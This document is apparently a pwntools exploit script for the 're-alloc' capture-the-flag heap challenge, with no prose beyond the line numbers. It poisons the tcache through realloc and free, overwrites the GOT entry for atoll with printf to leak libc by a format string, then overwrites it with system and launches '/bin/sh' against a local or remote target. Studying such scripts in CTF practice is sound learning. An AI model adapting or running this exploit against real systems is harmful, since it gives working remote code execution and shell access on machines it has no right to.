1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
| #!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
localfile = "./re-alloc"
locallibc = "libc.so.6"
pf = lambda name,num :log.info(name + ": 0x%x" % num)
g = lambda x :next(libc.search(asm(x)))
def allocate(idx, size, data):
io.recvuntil("Your choice: ")
io.sendline("1")
io.recvuntil("Index:")
io.sendline(str(idx))
io.recvuntil("Size:")
io.sendline(str(size))
io.recvuntil("Data:")
io.send(data)
def realloc(idx, size, data):
io.recvuntil("Your choice: ")
io.sendline("2")
io.recvuntil("Index:")
io.sendline(str(idx))
io.recvuntil("Size:")
io.sendline(str(size))
if size != 0:
io.recvuntil("Data:")
io.send(data)
def free(idx):
io.recvuntil("Your choice: ")
io.sendline("3")
io.recvuntil("Index:")
io.sendline(str(idx))
def exp():
atoll_got = elf.got["atoll"]
printf_plt = elf.plt["printf"]
system_off = libc.sym["system"]
allocate(0, 0x18, "A")
realloc(0, 0, "")
realloc(0, 0x18, p64(atoll_got))
allocate(1, 0x18, "A")
realloc(0, 0x28, "A")
free(0)
realloc(1, 0x28, "A"*0x10)
free(1)
allocate(0, 0x38, "A")
realloc(0, 0, "")
realloc(0, 0x38, p64(atoll_got))
allocate(1, 0x38, "A")
realloc(0, 0x48, "A")
free(0)
realloc(1, 0x48, "A"*0x10)
free(1)
allocate(0, 0x18, p64(printf_plt))
io.sendlineafter("Your choice: ", "1")
io.sendlineafter("Index:", "Z%23$llx\n")
io.recvuntil("Z")
libc_base = int(io.recvline().strip(b"\n"), 16) - 0x26B6B
pf("libc base", libc_base)
system_addr = libc_base + system_off
io.sendlineafter("Your choice: ", "1")
# gdb.attach(io, "b read_long")
io.sendlineafter("Index:", "A\x00")
io.sendlineafter("Size:", "%55x")
io.sendlineafter("Data:", p64(system_addr))
io.sendlineafter("Your choice: ", "1")
io.sendlineafter("Index:", "/bin/sh")
io.interactive()
argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)
elf = ELF(localfile)
libc = ELF(locallibc)
exp()
|